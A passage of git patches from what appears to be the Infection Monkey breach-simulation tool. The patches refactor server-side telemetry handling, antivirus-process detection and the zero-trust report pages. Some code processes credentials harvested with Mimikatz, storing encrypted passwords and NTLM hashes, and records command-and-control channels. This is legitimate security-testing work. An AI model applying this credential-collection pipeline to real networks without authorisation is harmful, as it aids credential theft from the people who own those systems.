ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + +def encrypt_system_info_creds(creds): + for user in creds: + for field in ['password', 'lm_hash', 'ntlm_hash']: + if field in creds[user]: + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + + +def process_mimikatz_and_wmi_info(telemetry_json): + users_secrets = {} + if 'mimikatz' in telemetry_json['data']: + users_secrets = mimikatz_utils.MimikatzSecrets. \ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.process_and_handle_wmi_info() + + +def process_aws_data(telemetry_json): + if 'aws' in telemetry_json['data']: + if 'instance_id' in telemetry_json['data']['aws']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + mongo.db.monkey.update_one({'_id': monkey_id}, + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py new file mode 100644 index 000000000..ed57f3c7b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -0,0 +1,10 @@ +from monkey_island.cc.services.node import NodeService + + +def process_tunnel_telemetry(telemetry_json): + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] + if telemetry_json['data']['proxy'] is not None: + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) + else: + NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py new file mode 100644 index 000000000..9bafb505f --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService + + +def get_edge_by_scan_or_exploit_telemetry(telemetry_json): + dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] + src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + dst_node = NodeService.get_monkey_by_ip(dst_ip) + if dst_node is None: + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) From a6789a53b28a85cf969852913fd6552f921ab9ba Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 14:43:23 +0300 Subject: [PATCH 102/276] Extracted process telem to hooks.py --- monkey/monkey_island/cc/resources/telemetry.py | 13 +++---------- .../cc/services/telemetry/processing/hooks.py | 15 +++++++++++++++ 2 files changed, 18 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index eb53d00c8..e07207707 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,7 +9,7 @@ from flask import request from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.hooks import TELEMETRY_CATEGORY_TO_PROCESSING_FUNC +from monkey_island.cc.services.telemetry.processing.hooks import process_telemetry from monkey_island.cc.models.monkey import Monkey __author__ = 'Barak' @@ -48,16 +48,9 @@ class Telemetry(flask_restful.Resource): Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl() monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.update_monkey_modify_time(monkey["_id"]) - try: - NodeService.update_monkey_modify_time(monkey["_id"]) - telem_category = telemetry_json.get('telem_category') - if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: - TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) - else: - logger.info('Got unknown type of telemetry: %s' % telem_category) - except Exception as ex: - logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) + process_telemetry(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/hooks.py b/monkey/monkey_island/cc/services/telemetry/processing/hooks.py index 125bb8b53..154096f79 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/hooks.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/hooks.py @@ -1,5 +1,9 @@ +import logging + from monkey_island.cc.services.telemetry.processing import * +logger = logging.getLogger(__name__) + TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ { 'tunnel': process_tunnel_telemetry, @@ -12,3 +16,14 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ 'trace': lambda *args, **kwargs: None, 'attack': lambda *args, **kwargs: None, } + + +def process_telemetry(telemetry_json): + try: + telem_category = telemetry_json.get('telem_category') + if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: + TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) + else: + logger.info('Got unknown type of telemetry: %s' % telem_category) + except Exception as ex: + logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) From 6ca4df1c261eae36bd9f4628e120fc9394af9229 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 14:53:15 +0300 Subject: [PATCH 103/276] extracted filter av logiv to seperate function --- .../zero_trust_tests/antivirus_existence.py | 35 +++++++++++-------- 1 file changed, 21 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index 0363a85cb..c93d63b72 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -86,22 +86,29 @@ def test_antivirus_existence(telemetry_json): event_type=EVENT_TYPE_MONKEY_LOCAL) events = [process_list_event] - found_av = False - all_processes = telemetry_json['data']['process_list'].items() - for process in all_processes: - process_name = process[1]['name'] - # This is for case-insensitive in. Generator expression for memory savings. - if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): - found_av = True - events.append(Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process_name, json.dumps(process[1])), - event_type=EVENT_TYPE_ISLAND - )) + av_processes = filter_av_processes(telemetry_json) - if found_av: + for process in av_processes: + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]['name'], json.dumps(process[1])), + event_type=EVENT_TYPE_ISLAND + )) + + if len(av_processes) > 0: test_status = STATUS_POSITIVE else: test_status = STATUS_CONCLUSIVE Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) + + +def filter_av_processes(telemetry_json): + all_processes = telemetry_json['data']['process_list'].items() + av_processes = [] + for process in all_processes: + process_name = process[1]['name'] + # This is for case-insensitive `in`. Generator expression is to save memory. + if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES): + av_processes.append(process) + return av_processes From 231de96e8c226f2f59ac0b4fea2f3ed641ec9b5e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 14:55:51 +0300 Subject: [PATCH 104/276] renamed test files to convention --- .../reporting/{test_PTHReportService.py => test_pth_report.py} | 0 .../{test_zeroTrustService.py => test_zero_trust_service.py} | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename monkey/monkey_island/cc/services/reporting/{test_PTHReportService.py => test_pth_report.py} (100%) rename monkey/monkey_island/cc/services/reporting/{test_zeroTrustService.py => test_zero_trust_service.py} (100%) diff --git a/monkey/monkey_island/cc/services/reporting/test_PTHReportService.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py similarity index 100% rename from monkey/monkey_island/cc/services/reporting/test_PTHReportService.py rename to monkey/monkey_island/cc/services/reporting/test_pth_report.py diff --git a/monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py similarity index 100% rename from monkey/monkey_island/cc/services/reporting/test_zeroTrustService.py rename to monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py From 92156946fe5e5fd6cf8bcfed013497cd40603f2f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 14:59:10 +0300 Subject: [PATCH 105/276] Added docs for function --- .../cc/services/reporting/zero_trust_service.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index bbe82f049..d28b072d8 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -86,12 +86,17 @@ class ZeroTrustService(object): @staticmethod def __get_lcd_worst_status_for_test(all_findings_for_test): - current_status = STATUS_UNEXECUTED + """ + :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :return: the "worst" (i.e. most severe) status out of the given findings. + lcd stands for lowest common denominator. + """ + current_worst_status = STATUS_UNEXECUTED for finding in all_findings_for_test: - if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_status): - current_status = finding.status + if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status): + current_worst_status = finding.status - return current_status + return current_worst_status @staticmethod def get_all_findings(): From e88c2baf648f572ba05448ef1aaa76e5ad003749 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 15:02:27 +0300 Subject: [PATCH 106/276] renamed funtion to be clearer. --- .../cc/services/reporting/zero_trust_service.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index d28b072d8..e3151dd7a 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -108,7 +108,6 @@ class ZeroTrustService(object): def __get_enriched_finding(finding): test_info = TESTS_MAP[finding.test] enriched_finding = { - # TODO add test explanation per status. "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], "pillars": test_info[PILLARS_KEY], "status": finding.status, @@ -129,7 +128,7 @@ class ZeroTrustService(object): STATUS_UNEXECUTED: [] } for pillar in PILLARS: - results[ZeroTrustService.__get_status_for_pillar(pillar)].append(pillar) + results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) return results @@ -137,12 +136,12 @@ class ZeroTrustService(object): def get_pillars_to_statuses(): results = {} for pillar in PILLARS: - results[pillar] = ZeroTrustService.__get_status_for_pillar(pillar) + results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) return results @staticmethod - def __get_status_for_pillar(pillar): + def __get_status_of_single_pillar(pillar): grade = ZeroTrustService.__get_pillar_grade(pillar) for status in ORDERED_TEST_STATUSES: if grade[status] > 0: From e9d39577eedbaa14abebf30fbc4f87fad6c790ad Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 15:17:48 +0300 Subject: [PATCH 107/276] Fixed bug in unit test for tunneling --- monkey/monkey_island/cc/models/test_monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index a44512995..ba8ff10fc 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -86,10 +86,10 @@ class TestMonkey(IslandTestCase): description="Linux shay-Virtual-Machine") windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla", - tunneling=linux_monkey) + tunnel=linux_monkey) unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla", - tunneling=windows_monkey) + tunnel=windows_monkey) linux_monkey.save() windows_monkey.save() unknown_monkey.save() From c4805b70e2757a596de746d77b3532a54e4322a6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 15:21:55 +0300 Subject: [PATCH 108/276] Unified style and look of two reports loading location, + added print buttom component. --- .../cc/ui/src/components/pages/ReportPage.js | 63 ++++++++++--------- .../components/pages/ZeroTrustReportPage.js | 17 ++--- .../common/PrintReportButton.js | 14 +++++ 3 files changed, 58 insertions(+), 36 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 72fba9c48..cd224ea0c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,4 +1,4 @@ -import React from 'react'; +import React, {Fragment} from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/security/BreachedServers'; import ScannedServers from 'components/report-components/security/ScannedServers'; @@ -17,6 +17,7 @@ import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStill import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; +import PrintReportButton from "../report-components/common/PrintReportButton"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); @@ -71,15 +72,11 @@ class ReportPageComponent extends AuthComponent { render() { let content; - if (Object.keys(this.state.report).length === 0) { - if (this.state.runStarted) { - content = (); - } else { - content = - ; - } - } else { + + if (this.state.runStarted) { content = this.generateReportContent(); + } else { + content = ; } return ( @@ -92,6 +89,10 @@ class ReportPageComponent extends AuthComponent { ); } + stillLoadingDataFromServer() { + return Object.keys(this.state.report).length === 0; + } + updateMonkeysRunning = () => { return this.authFetch('/api') .then(res => res.json()) @@ -130,32 +131,38 @@ class ReportPageComponent extends AuthComponent { } generateReportContent() { + let content; + + if (this.stillLoadingDataFromServer()) { + console.log("still loading?: " + this.stillLoadingDataFromServer()); + content = ; + } else { + console.log("not still loading: " + this.stillLoadingDataFromServer()); + content = +
    + {this.generateReportOverviewSection()} + {this.generateReportFindingsSection()} + {this.generateReportRecommendationsSection()} + {this.generateReportGlanceSection()} + {this.generateAttackSection()} + {this.generateReportFooter()} +
    ; + } + return ( -
    - { - // extract to print component. - } -
    - + +
    + {print();}} />

    - {this.generateReportOverviewSection()} - {this.generateReportFindingsSection()} - {this.generateReportRecommendationsSection()} - {this.generateReportGlanceSection()} - {this.generateAttackSection()} - {this.generateReportFooter()} + {content}
    -
    - +
    + {print();}} />
    -
    +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 21b1a7e3b..282662b94 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,4 +1,4 @@ -import React from 'react'; +import React, {Fragment} from 'react'; import {Button, Col, Row, Grid} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; @@ -10,6 +10,7 @@ import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; import {StatusesToPillarsSummary} from "../report-components/zerotrust/StatusesToPillarsSummary"; +import PrintReportButton from "../report-components/common/PrintReportButton"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -104,19 +105,19 @@ class ZeroTrustReportPageComponent extends AuthComponent { } return ( -
    -
    - + +
    + {this.print();}} />
    -

    {content}
    -
    +
    + {this.print();}} /> +
    + ) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js new file mode 100644 index 000000000..1a692bd68 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js @@ -0,0 +1,14 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class PrintReportButton extends Component { + render() { + return
    + +
    + } +} + +PrintReportButton.propTypes = {onClick: PropTypes.func}; From 2fa2c049400a32bf5984419db75cb1bcb0ce974f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 15:57:48 +0300 Subject: [PATCH 109/276] Extracted execution status function to reduce code duplication --- .../cc/ui/src/components/pages/ReportPage.js | 9 ++------- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 8 +++----- .../report-components/common/ExecutionStatus.js | 6 ++++++ .../report-components/security/AttackReport.js | 7 ++----- .../report-components/zerotrust/PillarOverview.js | 2 ++ 5 files changed, 15 insertions(+), 17 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index cd224ea0c..ffdb32a6a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -18,6 +18,7 @@ import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; import PrintReportButton from "../report-components/common/PrintReportButton"; +import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); @@ -97,11 +98,7 @@ class ReportPageComponent extends AuthComponent { return this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; @@ -134,10 +131,8 @@ class ReportPageComponent extends AuthComponent { let content; if (this.stillLoadingDataFromServer()) { - console.log("still loading?: " + this.stillLoadingDataFromServer()); content = ; } else { - console.log("not still loading: " + this.stillLoadingDataFromServer()); content =
    {this.generateReportOverviewSection()} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 282662b94..b859e306b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -1,5 +1,5 @@ import React, {Fragment} from 'react'; -import {Button, Col, Row, Grid} from 'react-bootstrap'; +import {Col, Grid, Row} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarsOverview from "../report-components/zerotrust/PillarOverview"; @@ -11,6 +11,7 @@ import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarni import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; import {StatusesToPillarsSummary} from "../report-components/zerotrust/StatusesToPillarsSummary"; import PrintReportButton from "../report-components/common/PrintReportButton"; +import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -31,10 +32,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { return this.authFetch('/api') .then(res => res.json()) .then(res => { - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js new file mode 100644 index 000000000..840e570d7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js @@ -0,0 +1,6 @@ +export function extractExecutionStatusFromServerResponse(res) { + return { + allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), + runStarted: res['completed_steps']['run_monkey'] + }; +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js index c5c58c92f..01a8cfe70 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js @@ -17,6 +17,7 @@ import T1082 from "../../attack/techniques/T1082"; import T1145 from "../../attack/techniques/T1145"; import T1107 from "../../attack/techniques/T1107"; import T1065 from "../../attack/techniques/T1065"; +import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus"; const tech_components = { 'T1210': T1210, @@ -54,11 +55,7 @@ class AttackReportPageComponent extends AuthComponent { return this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 558da5456..c865ecf43 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -19,6 +19,8 @@ const columns = [ class PillarOverview extends Component { pillarsToStatuses; + grades; + render() { const data = this.props.grades.map((grade) => { const newGrade = grade; From 3325aea17db911b5edc53e9e212654ac17f19e40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Aug 2019 17:16:57 +0300 Subject: [PATCH 110/276] Fixed CR comments --- monkey/monkey_island/cc/models/__init__.py | 2 +- monkey/monkey_island/cc/models/c2_info.py | 6 ------ .../cc/models/command_control_channel.py | 11 +++++++++++ monkey/monkey_island/cc/models/monkey.py | 3 ++- monkey/monkey_island/cc/resources/telemetry.py | 4 ++-- .../cc/services/attack/technique_reports/T1041.py | 8 ++++---- monkey/monkey_island/cc/services/node.py | 2 +- 7 files changed, 21 insertions(+), 15 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/c2_info.py create mode 100644 monkey/monkey_island/cc/models/command_control_channel.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9f82e472d..58e950914 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -16,5 +16,5 @@ from config import Config from creds import Creds from monkey_ttl import MonkeyTtl from pba_results import PbaResults -from c2_info import C2Info +from command_control_channel import CommandControlChannel from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/c2_info.py b/monkey/monkey_island/cc/models/c2_info.py deleted file mode 100644 index d0f07a3f3..000000000 --- a/monkey/monkey_island/cc/models/c2_info.py +++ /dev/null @@ -1,6 +0,0 @@ -from mongoengine import EmbeddedDocument, StringField - - -class C2Info(EmbeddedDocument): - src = StringField() - dst = StringField() diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py new file mode 100644 index 000000000..3aefef455 --- /dev/null +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument, StringField + + +class CommandControlChannel(EmbeddedDocument): + """ + This value describes command and control channel monkey used in communication + src - Monkey Island's IP + dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) + """ + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 6c4c90214..243842e73 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded DateTimeField from monkey_island.cc.models.monkey_ttl import MonkeyTtl +from monkey_island.cc.models.command_control_channel import CommandControlChannel class Monkey(Document): @@ -33,7 +34,7 @@ class Monkey(Document): pba_results = ListField() ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") - c2_info = EmbeddedDocumentField('C2Info') + command_control_channel = EmbeddedDocumentField(CommandControlChannel) # LOGIC @staticmethod diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 7a34c13de..6890dba6b 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -48,7 +48,7 @@ class Telemetry(flask_restful.Resource): def post(self): telemetry_json = json.loads(request.data) telemetry_json['timestamp'] = datetime.now() - telemetry_json['c2_channel'] = {'src': request.remote_addr, 'dst': request.host} + telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) @@ -111,7 +111,7 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) - NodeService.add_communication_info(monkey, telemetry_json['c2_channel']) + NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index 741ee2ae9..1342b646e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -15,13 +15,13 @@ class T1041(AttackTechnique): @staticmethod def get_report_data(): monkeys = list(Monkey.objects()) - info = [{'src': monkey['c2_info']['src'], - 'dst': monkey['c2_info']['dst']} - for monkey in monkeys if monkey['c2_info']] + info = [{'src': monkey['command_control_channel']['src'], + 'dst': monkey['command_control_channel']['dst']} + for monkey in monkeys if monkey['command_control_channel']] if info: status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value data = T1041.get_base_data_by_status(status) - data.update({'c2_info': info}) + data.update({'command_control_channel': info}) return data diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index c7b82cbfa..2c75d7187 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -250,7 +250,7 @@ class NodeService: @staticmethod def add_communication_info(monkey, info): mongo.db.monkey.update({"guid": monkey["guid"]}, - {"$set": {'c2_info': info}}, + {"$set": {'command_control_channel': info}}, upsert=False) @staticmethod From d52a6eab578460f83bd98a5e1d7fe38f41b8c897 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 18:09:05 +0300 Subject: [PATCH 111/276] Separated sections to methods for readability --- .../components/pages/ZeroTrustReportPage.js | 81 ++++++++++--------- 1 file changed, 44 insertions(+), 37 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index b859e306b..0b9855707 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -61,44 +61,10 @@ class ZeroTrustReportPageComponent extends AuthComponent { if (this.stillLoadingDataFromServer()) { content = ; } else { - const overviewSection =
    -

    Overview

    - - - - - - - - - - - - -
    ; - - const directivesSection =
    -

    Directives

    - { - Object.keys(this.state.directives).map((pillar) => - - ) - } -
    ; - - const findingSection =
    -

    Findings

    - -
    ; - content =
    - {overviewSection} - {directivesSection} - {findingSection} + {this.generateOverviewSection()} + {this.generateDirectivesSection()} + {this.generateFindingsSection()}
    ; } @@ -119,6 +85,47 @@ class ZeroTrustReportPageComponent extends AuthComponent { ) } + generateFindingsSection() { + return (
    +

    Findings

    + +
    ); + } + + generateDirectivesSection() { + return (
    +

    Directives

    + { + Object.keys(this.state.directives).map((pillar) => + + ) + } +
    ); + } + + generateOverviewSection() { + return (
    +

    Overview

    + + + + + + + + + + + + +
